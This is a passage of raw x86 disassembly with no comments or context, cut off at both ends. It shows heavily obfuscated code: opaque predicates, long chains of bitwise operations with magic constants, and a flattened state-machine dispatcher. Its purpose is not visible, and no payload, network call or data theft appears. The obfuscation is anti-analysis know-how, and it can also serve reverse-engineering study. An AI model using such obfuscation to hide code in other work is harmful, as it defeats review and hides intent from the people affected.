and edx, 0x383cf299
or edx, ecx
xor edx, 0x383cf299
mov ecx, eax
and ecx, ebx
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xf7da3018
mov esi, edx
and esi, 0x825cfe7
or esi, ecx
xor esi, 0x825cfe7
or esi, edx
mov ecx, eax
and ecx, 0x1214fb1f
mov edx, ebx
and edx, 0xedeb04e0
or edx, ecx
xor edx, esi
mov edi, edx
xor edi, 0xedeb04e0
xor edx, 0x1214fb1f
mov ecx, edx
and ecx, 0x58e56344
and edi, 0xa71a9cbb
or edi, ecx
or esi, eax
xor edi, esi
xor edi, 0xa71a9cbb
or edx, esi
not edx
or edx, edi
mov esi, edx
not esi
mov ecx, esi
and ecx, 0xd003190c
and edx, 0x2ffce6f3
or edx, ecx
xor edx, 0xd003190c
or edx, ebx
and ebx, 0x89727e0a
and eax, 0x768d81f5
or eax, ebx
xor eax, 0x89727e0a
or eax, esi
mov ecx, eax
xor ecx, edx
or eax, edx
not eax
or eax, ecx
not eax
or eax, esi
xor eax, 0x307c8fb7
xor eax, 0xcf837048
setne cl
sete ah
cmp dword [0x10045904], 0xa
setge ch
setl dl
mov dh, dl
or dh, ch
mov al, dh
not al
and al, dh
xor al, 1
mov bl, dh
xor bl, al
or al, dh
xor al, 1
or al, bl
mov ebx, eax
xor bl, 1
and bl, al
xor bl, 1
mov dh, bl
xor dh, al
or bl, al
xor bl, 1
or bl, dh
mov dh, dl
xor dh, bl
xor dh, 1
and dh, bl
or bl, dl
xor bl, 1
or bl, dh
mov bh, dl
or bh, al
xor al, dl
xor bh, 1
or bh, al
xor bl, 1
mov dh, bl
xor dh, bh
or bl, bh
xor dh, 1
mov al, dh
xor al, bl
or dh, bl
xor dh, 1
or dh, al
mov bl, dh
xor bl, 1
mov bh, dh
xor bh, ah
mov al, dh
or al, ah
and al, bh
xor al, cl
and al, ah
mov bh, ah
and bh, bl
and dh, cl
or dh, bh
xor dh, 1
or dh, bl
xor dh, 1
mov ebx, eax
xor bl, 1
mov bh, bl
xor bh, dh
xor bh, 1
or bh, bl
xor dh, al
mov bl, dh
and dh, bh
xor bh, 1
xor bl, 1
mov al, bh
xor al, bl
and al, bh
and bl, bh
or bl, dh
or bl, al
mov dh, dl
and dh, cl
mov al, ch
and al, ah
or al, dh
xor cl, al
and cl, al
xor dl, ah
xor ah, ch
and ah, ch
mov dh, ah
xor ah, al
xor al, 1
xor dh, 1
or dh, al
or al, ch
xor al, cl
and cl, al
xor cl, 1
mov ch, cl
xor ch, al
or cl, al
xor cl, 1
or cl, ch
mov al, dl
xor al, 1
xor dh, 1
or dh, ah
xor dl, al
and dl, dh
xor dl, al
or al, dh
xor al, 1
or dl, al
mov eax, edx
xor al, 1
mov ah, al
and ah, dl
xor ah, 1
or ah, dl
xor ah, 1
or ah, al
mov al, ah
xor al, 1
mov edx, ecx
xor dl, 1
mov ch, dl
xor ch, al
or dl, al
and ch, ah
xor al, cl
xor al, 1
and al, cl
or al, ch
mov ecx, eax
and al, dl
xor dl, 1
xor cl, 1
mov ah, dl
xor ah, cl
and ah, dl
and cl, dl
or cl, al
or cl, ah
mov ch, cl
xor ch, 1
mov edx, ecx
and dl, ch
mov dh, ch
xor dh, dl
xor dl, 1
mov ah, ch
xor ah, dl
mov al, ch
or al, dl
xor al, 1
or al, ah
mov ah, al
xor ah, 1
or dl, cl
xor dl, 1
or dl, dh
xor dl, 1
or dl, ch
mov ch, dl
xor ch, 1
mov dh, ch
or dh, al
mov cl, ah
xor cl, ch
and cl, al
xor cl, 1
mov bh, cl
xor bh, dh
or cl, dh
xor cl, 1
or cl, bh
mov bh, al
and bh, ah
mov dh, dl
and dh, ch
xor bh, 1
or bh, ah
xor bh, 1
or bh, al
xor dh, 1
or dh, ch
xor dh, 1
or dh, dl
mov al, bh
xor al, 1
and al, dh
xor dh, 1
and dh, bh
or dh, al
or ch, ah
xor dh, 1
mov al, dh
xor al, ch
or dh, ch
xor dh, 1
or dh, al
mov ah, dh
xor ah, 1
mov al, dh
and al, cl
xor cl, 1
and ah, cl
or ah, al
or cl, dh
xor ah, 1
mov al, ah
xor al, cl
or ah, cl
xor ah, 1
or ah, al
mov al, ah
xor al, 1
and al, ah
xor al, 1
mov cl, ah
xor cl, al
or al, ah
xor al, 1
or al, cl
mov edx, eax
xor dl, ah
and al, dl
and dl, ah
xor al, 1
xor dl, 1
mov ecx, eax
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
mov al, ah
xor al, dl
or dl, ah
xor dl, 1
or dl, al
mov ah, dl
xor ah, 1
mov byte [ebp - 0x14], ah
mov al, bl
xor al, 1
mov bh, bl
and bh, al
xor bh, 1
or bh, bl
xor bh, 1
or bh, al
mov al, bh
xor al, 1
mov ch, al
mov byte [ebp - 0x18], al
mov cl, ah
and cl, dl
xor cl, 1
mov dh, dl
xor dh, cl
mov al, dl
or al, cl
xor al, 1
or dh, ah
or dh, al
mov al, dh
xor al, 1
or cl, ah
xor cl, 1
or cl, dl
mov dl, cl
xor dl, ah
or cl, ah
xor cl, 1
or cl, dl
mov bl, cl
xor bl, 1
mov dl, ch
and dl, bh
mov ah, dl
xor ah, 1
mov ch, bh
xor ch, ah
or ah, bh
and cl, dh
mov bh, al
and bh, bl
or bh, cl
xor dh, bh
and dh, bh
xor bl, al
mov al, bl
xor al, 1
mov bh, bl
and bh, al
xor bh, 1
mov cl, bh
xor cl, al
or bh, al
xor bh, 1
or bh, cl
mov al, dh
xor al, 1
and al, bh
xor bh, 1
and bh, dh
or bh, al
mov al, dh
xor al, bl
or bl, dh
xor bl, 1
or bl, al
xor bh, 1
mov al, bh
xor al, bl
or bh, bl
xor bh, 1
or bh, al
mov cl, bh
xor cl, 1
mov dh, cl
mov al, cl
and al, bh
xor cl, al
xor al, 1
or al, bh
xor ah, 1
or ch, ah
xor ch, 1
or dh, ch
xor al, 1
or al, cl
mov cl, ch
xor cl, al
or al, ch
xor dh, 1
xor al, 1
or al, cl
xor al, dh
and dh, al
xor dh, 1
mov cl, dh
xor cl, al
or dh, al
xor dh, 1
or dh, cl
mov al, byte [ebp - 0x18]
xor dl, al
movzx ecx, byte [ebp - 0x14]
or al, cl
or dl, ah
xor dl, cl
mov ecx, edx
and dl, al
xor al, 1
xor cl, 1
mov ah, al
xor ah, cl
and ah, al
and cl, al
or cl, dl
or cl, ah
mov eax, ecx
xor al, 1
mov dl, dh
xor dl, 1
mov ah, dl
xor ah, cl
and cl, dh
or dh, al
xor dh, 1
or dh, ah
xor dh, 1
and dl, al
or cl, dl
xor cl, dh
mov dl, cl
not dl
and dl, dh
test cl, 1
mov eax, 0x7c3ade54
mov esi, 0x4191dbec
cmovne eax, esi
test dl, 1
mov edx, 0x7c3ade54
cmove eax, edx
cmovne eax, esi
mov edx, dword [ebp - 0x48]
mov edx, dword [edx]
mov dword [ebp - 0x68], edx
jmp 0x10012673
cmp eax, 0xe19fe2d5
jle 0x100126ea
cmp eax, 0xf0b39f7c
jg 0x1001419e
cmp eax, 0xeb4d0906
jg 0x10016c2d
cmp eax, 0xe19fe2d6
je 0x10019695
cmp eax, 0xe9b0f67d
jne 0x1000f9b0
mov eax, 0x9a05f2dd
jmp 0x1000f9b0
cmp eax, 0x637c90b9
jle 0x100140f8
cmp eax, 0x7643e896
jg 0x100141d2
cmp eax, 0x6906d4b1
jg 0x10017431
cmp eax, 0x637c90ba
je 0x1001a66e
cmp eax, 0x6715482d
jne 0x1000f9b0
mov eax, dword [ebp - 0x58]
mov eax, dword [0x10045900]
lea ecx, [eax + 1]
imul ecx, eax
mov ebx, ecx
not ebx
mov eax, ecx
mov esi, ecx
mov dword [ebp - 0x18], ecx
and eax, 0x37bf544f
mov ecx, ebx
and ecx, 0xc840abb0
or ecx, eax
mov eax, ecx
xor eax, 0x15b8540c
xor ecx, 0x2030
and ecx, 0x22072073
and eax, 0xddf8df8c
or eax, ecx
mov ecx, eax
xor ecx, 0xddf8df8c
xor eax, 0x22052010
and eax, 0x7b95e710
mov edx, ecx
and edx, 0x846a18ef
or edx, eax
xor edx, 0xfb914879
and ecx, 0x8004af69
or ecx, edx
mov eax, ebx
and eax, 0x7ffb5096
mov edx, esi
and edx, 0x8004af69
or edx, eax
mov eax, edx
xor eax, ebx
and eax, edx
mov esi, ecx
not esi
mov edi, eax
not edi
mov edx, esi
xor edx, edi
and edx, esi
and ecx, 0x7fb83043
and esi, 0x8047cfbc
or esi, ecx
and edi, 0x7fb83043
and eax, 0x8047cfbc
or eax, edi
xor eax, esi
mov ecx, edx
not ecx
mov esi, ecx
and esi, 0x797c8623
and edx, 0x868379dc
or edx, esi
mov esi, eax
not esi
or ecx, esi
and esi, 0x797c8623
and eax, 0x868379dc
or eax, esi
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0x59282142
mov esi, ecx
xor ecx, 0x26004c04
and ecx, 0x2642ce04
and edx, 0xd9bd31fb
or edx, ecx
xor eax, 0x42f20
xor esi, 0x31000000
xor edx, 0x312e6a64
or eax, 0xce00804b
and esi, 0x31040120
and eax, 0xcef9d6df
or eax, esi
xor eax, 0xcef9d6df
or eax, edx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xa02c19ee
mov edx, ecx
and ecx, 0x5fd3e611
or ecx, esi
and edx, eax
mov esi, edx
not esi
or eax, esi
and esi, 0xa02c19ee
and edx, 0x5fd3e611
or edx, esi
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
and eax, 0x918fefea
and ecx, 0x6e701015
or ecx, eax
mov esi, ebx
mov dword [ebp - 0x1c], ebx
mov eax, ebx
and eax, 0x88022043
mov ebx, dword [ebp - 0x18]
mov edx, ebx
and edx, 0x46008808
or edx, eax
xor edx, 0x46008808
mov eax, ebx
and eax, 0x31fd57b4
or eax, edx
and esi, 0xea224d6d
mov edx, ebx
and edx, 0x15ddb292
or edx, esi
mov esi, edx
xor esi, 0x15ddb292
xor edx, 0xea224d6d
and edx, eax
not eax
and esi, eax
or edx, esi
not edx
or edx, eax
mov edi, ecx
xor edi, 0x6e701015
xor ecx, 0x918fefea
mov esi, ecx
and esi, 0xa852ba9a
mov eax, edi
and eax, 0x57ad4565
or eax, esi
and ecx, 0xaade5951
and edi, 0x5521a6ae
or edi, ecx
xor eax, 0x57ad4565
or eax, edx
mov esi, edx
xor esi, 0x512184a4
xor edx, 0x985950
and edx, 0x4987b5a
and esi, 0xfb6784a5
or esi, edx
xor esi, edi
mov ecx, eax
and ecx, 0xbf9594fb
mov edi, eax
not edi
mov ebx, edi
and ebx, 0x406a6b04
or ebx, ecx
mov edx, esi
xor edx, 0x4987b5a
mov dword [ebp - 0x14], edx
xor esi, 0xfb6784a5
mov ecx, esi
and ecx, 0x7e54d2c2
and edx, 0x81ab2d3d
or edx, ecx
mov dword [ebp - 0x20], edx
mov ecx, ebx
xor ecx, 0x406a6b04
mov dword [ebp - 0x28], ecx
mov edx, ebx
xor edx, 0xd93c9a61
and edx, ecx
mov ecx, edx
not ecx
mov dword [ebp - 0x24], ecx
and dword [ebp - 0x24], 0xf48ba655
and edx, 0xb7459aa
add edx, dword [ebp - 0x24]
or eax, 0x66a90e9a
or ecx, eax
and eax, 0xf48ba655
and edi, 0x9545120
or edi, eax
xor edi, edx
not ecx
or ecx, edi
mov edx, dword [ebp - 0x20]
mov edi, edx
xor edi, 0x81ab2d3d
xor edx, 0x18fddc58
and edx, edi
mov eax, edx
not eax
mov dword [ebp - 0x24], eax
and dword [ebp - 0x24], 0x7ed5cf56
and edx, 0x812a30a9
add edx, dword [ebp - 0x24]
or esi, 0x66a90e9a
or eax, esi
and esi, 0x7ed5cf56
and dword [ebp - 0x14], 0x81023021
add dword [ebp - 0x14], esi
mov esi, dword [ebp - 0x14]
xor esi, edx
not eax
or eax, esi
xor eax, ecx
xor ebx, 0xbf9594fb
mov ecx, ebx
and ecx, 0xf3ae44f5
mov edx, dword [ebp - 0x28]
and edx, 0xc51bb0a
or edx, ecx
mov ecx, dword [ebp - 0x20]
xor ecx, 0x7e54d2c2
or ebx, ecx
and ecx, 0xf3ae44f5
and edi, 0xc51bb0a
or edi, ecx
xor edi, edx
not ebx
or ebx, edi
mov esi, eax
not esi
mov ecx, esi
and ecx, 0x168678f6
and eax, 0xe9798709
or eax, ecx
mov ecx, ebx
not ecx
or esi, ebx
and ebx, 0x168678f6
and ecx, 0xe9798709
or ecx, ebx
xor ecx, eax
not esi
or esi, ecx
mov eax, esi
not eax
mov ecx, eax
and ecx, 0x3e0dd9a3
mov edx, esi
and edx, 0xc1f2265c
or edx, ecx
mov ecx, edx
xor ecx, 0x41222040
xor edx, 0x10049081
and edx, 0x90d4969d
and ecx, 0x6f2b6962
or ecx, edx
mov edx, ecx
xor edx, 0x1050161d
xor ecx, 0x23034820
and ecx, 0xa387c8a0
and edx, 0x5c78375f
or edx, ecx
mov ecx, edx
xor ecx, 0x5c78375f
xor edx, 0x300c000
and edx, 0x4700d04d
mov edi, ecx
and edi, 0xb8ff2fb2
or edi, edx
xor edi, 0x89027807
and ecx, 0xce02a84a
or ecx, edi
and eax, 0x900aaedc
and esi, 0x6ff55123
or esi, eax
mov edx, esi
xor edx, 0x6ff55123
xor esi, 0x1002ac90
and esi, 0x1462fc90
mov eax, edx
and eax, 0xeb9d036f
or eax, esi
xor eax, 0x259fab25
and edx, 0x31fd57b5
or edx, eax
mov esi, ecx
not esi
and ecx, 0x9e19b2b4
mov eax, esi
and eax, 0x61e64d4b
or eax, ecx
xor eax, 0x61e64d4b
mov ecx, eax
and ecx, 0xf0e3b7a7
and esi, 0xf1c4858
or esi, ecx
xor esi, edx
xor esi, 0xf1c4858
or eax, edx
not eax
or eax, esi
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x448b4a06
mov esi, eax
and esi, 0xbb74b5f9
or esi, edx
mov edx, esi
xor edx, 0x1b70b020
xor esi, 0x448b4a06
and edx, 0x1b73f222
mov edi, esi
and edi, 0xe48c0ddd
or edi, edx
xor edi, 0xe5299cf7
and esi, 0xfe5a6ed5
or esi, edi
mov edx, ecx
and edx, 0x4f9bf97f
and eax, 0xb0640680
or eax, edx
xor eax, 0x4e3e6855
xor ecx, eax
and ecx, eax
mov ebx, ecx
and ecx, esi
not esi
not ebx
mov eax, esi
xor eax, ebx
and eax, esi
and ebx, esi
or ebx, ecx
or ebx, eax
mov esi, dword [ebp - 0x1c]
mov ecx, esi
and ecx, 0xd7869ecc
mov edi, dword [ebp - 0x18]
mov eax, edi
and eax, 0x28796133
or eax, ecx
mov ecx, eax
xor ecx, 0x20112032
xor eax, 0xd7869ecc
mov edx, eax
and edx, 0xbec5d09
and ecx, 0xf413a2f6
or ecx, edx
mov edx, esi
and edx, edi
mov esi, edx
not esi
or eax, esi
and esi, 0xbec5d09
and edx, 0xf413a2f6
or edx, esi
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
and eax, 0xeafed2e
and ecx, 0xf15012d1
or ecx, eax
mov eax, ecx
xor eax, 0xc29c502
xor ecx, 0x15010d0
and ecx, 0x3d638fc
and eax, 0xfc29c703
or eax, ecx
mov esi, dword [ebp - 0x1c]
mov ecx, esi
and ecx, 0x10dad37f
mov edx, edi
and edx, 0xef252c80
or edx, ecx
mov ecx, eax
xor ecx, 0xfc29c703
xor edx, 0xef252c80
xor esi, edx
and esi, edx
xor eax, 0x3d638fc
mov edx, esi
not edx
and esi, eax
or eax, edx
and edx, ecx
mov edi, ebx
xor edi, 0xfe5a6ed5
not eax
or edx, esi
or edx, eax
xor ebx, 0x1a5912a
mov eax, ebx
and eax, edi
mov ecx, ebx
and ecx, 0x2b9111d4
mov esi, edi
and esi, 0xd46eee2b
or esi, ecx
not esi
or esi, ebx
mov dword [ebp - 0x20], esi
and ebx, 0xbdc51442
and edi, 0x423aebbd
or edi, ebx
mov ecx, edi
xor ecx, 0x200231d
xor edi, 0xbdc51442
mov ebx, edi
and ebx, 0x513adca0
and ecx, 0xaec5235f
or ecx, ebx
mov ebx, eax
not ebx
or edi, ebx
and ebx, 0x513adca0
and eax, 0xaec5235f
or eax, ebx
xor eax, ecx
not edi
or edi, eax
mov eax, edx
not eax
mov ecx, eax
and ecx, 0x6235091a
mov esi, edx
and esi, 0x9dcaf6e5
or esi, ecx
mov ebx, esi
xor ebx, 0x20001
xor esi, 0x200010
or esi, 0xbf193402
and esi, 0xbf3976d2
and ebx, 0x60801
or ebx, esi
mov ecx, eax
and ecx, 0x68eb3e5
mov esi, edx
and edx, 0xf9714c1a
or edx, ecx
xor edx, 0xd2e05dce
or edx, eax
or eax, 0x2042d0
and eax, 0xbf3976d2
and esi, 0x40c0812c
or esi, eax
xor esi, ebx
mov ebx, edi
not ebx
mov eax, edi
and eax, 0xc283f6c9
mov ecx, ebx
mov dword [ebp - 0x24], ebx
and ecx, 0x3d7c0936
or ecx, eax
xor ecx, 0x16ed18e2
and ebx, 0xd46eee2b
or ebx, ecx
mov dword [ebp - 0x14], esi
mov eax, esi
xor eax, 0xffd9b52e
mov dword [ebp - 0x18], eax
mov eax, esi
xor eax, 0x264ad1
mov dword [ebp - 0x1c], eax
and eax, 0x3868fbf8
mov esi, dword [ebp - 0x18]
and esi, 0xc7970407
or esi, eax
xor esi, 0xec0615d3
mov ecx, esi
xor ecx, dword [ebp - 0x1c]
and ecx, esi
mov eax, ebx
not eax
mov esi, eax
xor esi, dword [ebp - 0x20]
and esi, eax
and ebx, 0x77ee9042
and eax, 0x88116fbd
or eax, ebx
xor eax, dword [ebp - 0x20]
xor eax, 0x88116fbd
or eax, esi
xor edx, ecx
and ecx, edx
not edx
or edx, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x5408820
and esi, 0x95d2eda0
mov ebx, ecx
and ecx, 0x4a05105a
or ecx, esi
or ebx, 0x90926580
and ebx, 0x95d2eda0
and eax, 0x20280205
or eax, ebx
xor eax, ecx
xor edx, 0xda9775da
mov ecx, edx
xor ecx, edx
not ecx
and ecx, eax
xor ecx, edx
mov dword [ebp - 0x20], ecx
mov ecx, edi
xor ecx, 0xa9dcda4a
and ecx, edi
mov eax, dword [ebp - 0x24]
and eax, 0x885fed6c
and edi, 0x77a01293
or edi, eax
mov eax, dword [ebp - 0x14]
xor eax, 0x56056f64
mov edx, dword [ebp - 0x18]
and eax, edx
mov dword [ebp - 0x14], eax
mov eax, edx
mov edx, dword [ebp - 0x1c]
and edx, 0x99fa4a81
and eax, 0x6605b57e
or eax, edx
mov edx, edi
xor edx, 0x77a01293
mov dword [ebp - 0x18], edx
xor edi, 0x21833726
and edi, edx
mov edx, edi
not edx
mov esi, edx
and esi, 0x91cd63f9
and edi, 0x6e329c06
or edi, esi
mov esi, ecx
not esi
or edx, esi
and esi, 0x91cd63f9
and ecx, 0x6e329c06
or ecx, esi
xor ecx, edi
not edx
or edx, ecx
mov ecx, eax
xor ecx, 0x6605b57e
xor eax, 0x302690cb
and eax, ecx
mov ebx, eax
not ebx
mov esi, ebx
and esi, 0x4654d95a
and eax, 0xb9ab26a5
or eax, esi
mov edi, dword [ebp - 0x14]
mov esi, edi
not esi
or ebx, esi
and esi, 0x4654d95a
and edi, 0xb9ab26a5
or edi, esi
xor edi, eax
not ebx
or ebx, edi
xor ebx, edx
or ecx, dword [ebp - 0x18]
not ecx
or ecx, ebx
mov eax, ecx
not eax
mov edx, ecx
and edx, 0xdfab5e4d
and eax, 0x2054a1b2
or eax, edx
xor eax, 0xdfab5e4d
xor ecx, eax
and ecx, eax
mov edi, dword [ebp - 0x20]
mov esi, edi
not esi
mov edx, ecx
not edx
mov eax, esi
or eax, edx
not eax
and esi, 0xe242cc1c
and edi, 0x1dbd33e3
or edi, esi
and edx, 0xe242cc1c
and ecx, 0x1dbd33e3
or ecx, edx
xor ecx, edi
or ecx, eax
mov esi, ecx
not esi
mov eax, esi
and eax, 0x75ce486c
mov edx, ecx
and edx, 0x8a31b793
or edx, eax
mov eax, edx
xor eax, 0x2200610
xor edx, 0x348e0068
and edx, 0xbc9fb1eb
and eax, 0x43604e14
or eax, edx
mov edx, eax
xor edx, 0x43400200
mov edi, eax
xor edi, 0x18820162
and edi, 0x18a24d76
and edx, 0xe75db289
or edx, edi
and esi, 0xef2761dd
and ecx, 0x10d89e22
or ecx, esi
mov edi, ecx
xor edi, 0x10d89e22
xor ecx, 0x80244199
and ecx, 0x90fc459b
mov esi, edi
and esi, 0x6f03ba64
or esi, ecx
mov ecx, edx
xor ecx, 0x18a24d76
xor esi, 0x6f03ba64
or esi, edi
mov edi, esi
not edi
mov dword [ebp - 0x14], edi
mov ebx, ecx
or ecx, esi
mov edi, esi
xor esi, 0x24dfdedf
and esi, dword [ebp - 0x14]
and edi, 0xdb202120
or esi, edi
mov edi, edx
xor edi, 0xc3002000
or edi, 0x48616d8
xor eax, 0x200000
and edi, 0xdf8637d8
and eax, 0x200020
or eax, edi
or ebx, 0xdb002100
xor edx, 0x20598001
and ebx, 0xdf8637d8
and edx, 0x2059c807
or edx, ebx
xor edx, eax
xor edx, esi
not ecx
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x9e8a865d
and edx, 0x617579a2
or edx, ecx
mov esi, edx
xor esi, 0x617579a2
mov ecx, edx
xor ecx, 0x3309aedd
and ecx, esi
mov eax, ecx
not eax
mov edi, eax
and edi, 0xe30fd23e
and ecx, 0x1cf02dc1
or ecx, edi
or esi, 0xad832880
xor edx, 0x10000441
or eax, esi
and esi, 0xe30fd23e
and edx, 0x10700541
or edx, esi
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
xor ecx, 0xad832880
mov edx, eax
xor edx, 0x208143c
and edx, 0xe081cbc
xor eax, 0x338b943d
and eax, ecx
and ecx, 0x9000a001
or ecx, edx
xor ecx, 0x9000a001
or ecx, eax
not eax
and eax, 0x61f74342
and ecx, 0x9e08bcbd
or ecx, eax
xor ecx, 0x5c575c62
xor ecx, 0x5c575c62
sete ah
mov byte [ebp - 0x14], ah
setne dl
cmp dword [0x10045904], 0xa
setl cl
setge ch
mov al, dl
and al, ch
mov ebx, ecx
and bl, ah
or bl, al
mov dh, bl
xor dh, 1
mov al, ch
xor al, bl
and al, ch
mov bh, dh
or bh, ch
xor al, 1
mov ah, al
xor ah, bh
or al, bh
xor al, 1
or al, ah
mov ah, al
xor ah, bl
or al, bl
xor al, 1
or al, ah
movzx ebx, byte [ebp - 0x14]
xor ch, bl
or dl, cl
xor dl, 1
or dl, ch
mov ah, dh
xor ah, dl
or dl, dh
xor dl, 1
or dl, ah
mov ch, dl
xor ch, 1
mov ah, bl
or cl, bl
xor cl, 1
or cl, bl
xor cl, 1
mov ah, cl
xor ah, ch
or ch, cl
xor ch, 1
or ch, ah
xor ch, 1
and ah, cl
or cl, dl
xor ah, 1
mov dl, ah
xor dl, cl
or ah, cl
xor ah, 1
or ah, dl
xor ah, ch
xor ah, 1
and ch, ah
xor ch, 1
mov cl, ch
xor cl, ah
or ch, ah
xor ch, 1
or ch, cl
mov dl, ch
xor dl, 1
mov ah, dl
and ah, ch
xor ah, 1
mov cl, ch
xor cl, ah
or ah, ch
xor ah, 1
or ah, cl
mov cl, ah
xor cl, 1
mov ch, ah
and ch, cl
xor ch, 1
or ch, cl
xor ch, 1
or ch, ah
mov ah, ch
xor ch, 1
and ch, al
xor al, 1
and ah, al
or cl, al
xor cl, 1
or cl, ah
or cl, ch
mov ah, al
xor ah, dl
or dl, al
mov dh, dl
xor dh, 1
or ah, dh
mov ch, dh
and ch, dl
xor ch, 1
mov al, ch
xor al, dl
or ch, dl
xor ch, 1
or ch, al
mov al, ah
xor ah, dl
xor al, 1
xor ch, al
xor ch, 1
or al, dh
xor al, 1
or al, ah
mov dl, ch
xor dl, al
or al, ch
xor al, 1
or al, dl
mov ah, al
mov edx, ecx
xor dl, al
and al, cl
and dl, cl
xor cl, 1
xor ah, 1
and ah, cl
or al, ah
xor dl, 1
xor al, 1
mov ecx, edx
xor cl, al
or dl, al
xor dl, 1
or dl, cl
mov ecx, eax
or cl, dl
xor dl, al
mov eax, ecx
xor al, dl
test al, 1
mov esi, 0x19bde62a
mov eax, 0xb4be65a
cmovne esi, eax
test dl, 1
mov eax, esi
mov edx, 0x19bde62a
cmovne eax, edx
test cl, 1
cmovne eax, esi
jmp 0x1000f9b0
cmp eax, 0x8d4e49b3
jle 0x100141fd
cmp eax, 0x92c04415
jg 0x10017451
cmp eax, 0x8d4e49b4
je 0x1001a68a
cmp eax, 0x90d2c36f
jne 0x1000f9b0
mov eax, 0x6715482d
jmp 0x1000f9b0
cmp eax, 0x8e1f480
jle 0x10014228
cmp eax, 0xf299d7f
jg 0x10017ef2
cmp eax, 0x8e1f481
je 0x1001a69d
cmp eax, 0xb4be65a
jne 0x1000f9b0
mov eax, 0x19bde62a
jmp 0x1000f9b0
cmp eax, 0xd4bf6bc6
jle 0x1001427f
cmp eax, 0xd6f3772d
jg 0x10018b6f
cmp eax, 0xd4bf6bc7
je 0x1001bdcb
cmp eax, 0xd62f0750
jne 0x1000f9b0
mov eax, dword [0x10045900]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
mov eax, ecx
mov edi, ecx
and eax, 0x700a43
mov ecx, edx
mov ebx, edx
and ecx, 0x3060000
or ecx, eax
mov eax, ecx
xor eax, 0x1000000
xor ecx, 0x34b9f76c
mov esi, edi
mov dword [ebp - 0x14], edi
or esi, 0x2360240
and ecx, 0x36bff76c
and eax, 0x1400803
or eax, ecx
and esi, 0x36bff76c
mov dword [ebp - 0x18], edx
and edx, 0xc8000090
or edx, esi
xor edx, eax
mov eax, edx
xor eax, 0xfc89f5bc
xor edx, 0x360a40
and eax, 0xbf49742f
and edx, 0x40b68bd0
or edx, eax
mov eax, edx
xor eax, 0xee76a2dd
xor edx, 0x40b68bd0
and edx, eax
or edi, 0x513fd6f2
mov eax, edi
mov dword [ebp - 0x1c], edi
not eax
mov ecx, eax
mov dword [ebp - 0x20], eax
mov eax, edi
and eax, 0x3e3c34fa
mov edi, ebx
xor edi, 0x2e002008
and edi, ecx
or edi, eax
mov ecx, edx
or ecx, 0xc1c3cb05
mov esi, edx
not esi
mov dword [ebp - 0x24], esi
mov ebx, ecx
and ebx, 0xb2f52bc9
and esi, 0xc081432
or esi, ebx
mov ebx, edx
xor ebx, 0x3e3c34fa
and ebx, edx
mov eax, ebx
not eax
or ecx, eax
and eax, 0xb2f52bc9
and ebx, 0x4d0ad436
or ebx, eax
xor ebx, esi
not ecx
or ecx, ebx
mov ebx, edi
xor ebx, edi
not ebx
and ebx, ecx
xor ebx, edi
mov eax, edx
and eax, 0x8ef8a984
mov ecx, dword [ebp - 0x24]
and ecx, 0x7107567b
or ecx, eax
mov esi, ecx
mov eax, dword [ebp - 0x20]
or edx, eax
and eax, 0x8ec02904
mov ecx, eax
mov eax, dword [ebp - 0x1c]
and eax, 0x7107567b
or eax, ecx
xor eax, esi
not edx
or edx, eax
mov ecx, ebx
not ecx
mov eax, ecx
and eax, 0xb334211c
and ebx, 0x4ccbdee3
or ebx, eax
xor ebx, edx
xor ebx, 0x4ccbdee3
or ecx, edx
not ecx
or ecx, ebx
mov eax, ecx
xor eax, 0xaec0290d
xor ecx, 0x513fd6f2
mov edx, ecx
and edx, 0xa84400c7
and ecx, eax
and eax, 0x57bbff38
or eax, edx
xor eax, 0x57bbff38
or eax, ecx
mov edx, eax
not edx
mov ecx, edx
and ecx, eax
and edx, 0x8a60030e
and eax, 0x759ffcf1
or eax, edx
mov esi, ecx
not esi
mov edx, esi
and edx, 0xe501350
and ecx, 0xf1afecaf
or ecx, edx
mov edx, eax
xor edx, 0x718feca1
xor eax, 0x8a60030e
or esi, eax
and eax, 0xe501350
and edx, 0xf1afecaf
or edx, eax
xor edx, ecx
not esi
or esi, edx
mov dword [ebp - 0x20], esi
mov esi, dword [ebp - 0x18]
mov ecx, esi
and ecx, 0xad2477aa
mov eax, dword [ebp - 0x14]
and eax, 0x52db8855
or eax, ecx
mov ebx, eax
xor ebx, 0x52db8855
xor eax, 0xad2477aa
mov ecx, eax
or ecx, 0x1298810
and ecx, 0x21bd9972
mov edx, ebx
and edx, 0xc002440d
or edx, ecx
mov ecx, esi
or ecx, 0x20941162
and ecx, 0x21bd9972
mov edi, ecx
mov ecx, dword [ebp - 0x14]
and ecx, 0x1e402280
or ecx, edi
xor ecx, edx
mov esi, dword [ebp - 0x20]
mov edx, esi
not edx
mov dword [ebp - 0x14], edx
xor ecx, 0x1f69aa90
and eax, 0xf42487d3
and ebx, 0xbdb782c
or ebx, eax
xor ebx, 0xbdb782c
or ebx, ecx
mov eax, ebx
not eax
mov ecx, eax
and ecx, 0x36027f5d
and eax, ebx
and ebx, 0xc9fd80a2
or ebx, ecx
xor ebx, 0xc9fd80a2
or ebx, eax
mov edi, ebx
not edi
and ebx, 0x2b020037
and edi, 0xd4fdffc8
or edi, ebx
mov eax, edx
and eax, 0x31000931
mov edx, esi
mov ecx, esi
and ecx, 0x4d0242
or ecx, eax
xor ecx, 0x4d0242
mov eax, esi
xor eax, 0x314d0b73
and eax, esi
or ecx, eax
not eax
and eax, 0xceb2f48c
and ecx, 0x314d0b73
or ecx, eax
mov dword [ebp - 0x1c], ecx
mov ebx, edi
xor ebx, 0x2b020037
xor edi, 0xd4fdffc8
mov eax, edi
and eax, 0x2491ae73
mov ecx, ebx
and ecx, 0xdb6e518c
or ecx, eax
mov eax, ebx
and eax, edi
mov edx, eax
not edx
mov esi, edi
or esi, edx
and edx, 0x2491ae73
and eax, 0xdb6e518c
or eax, edx
xor eax, ecx
not esi
or esi, eax
mov edx, dword [ebp - 0x1c]
mov ecx, edx
not ecx
mov eax, ecx
mov dword [ebp - 0x28], ecx
and eax, 0x1f607706
and edx, 0xe09f88f9
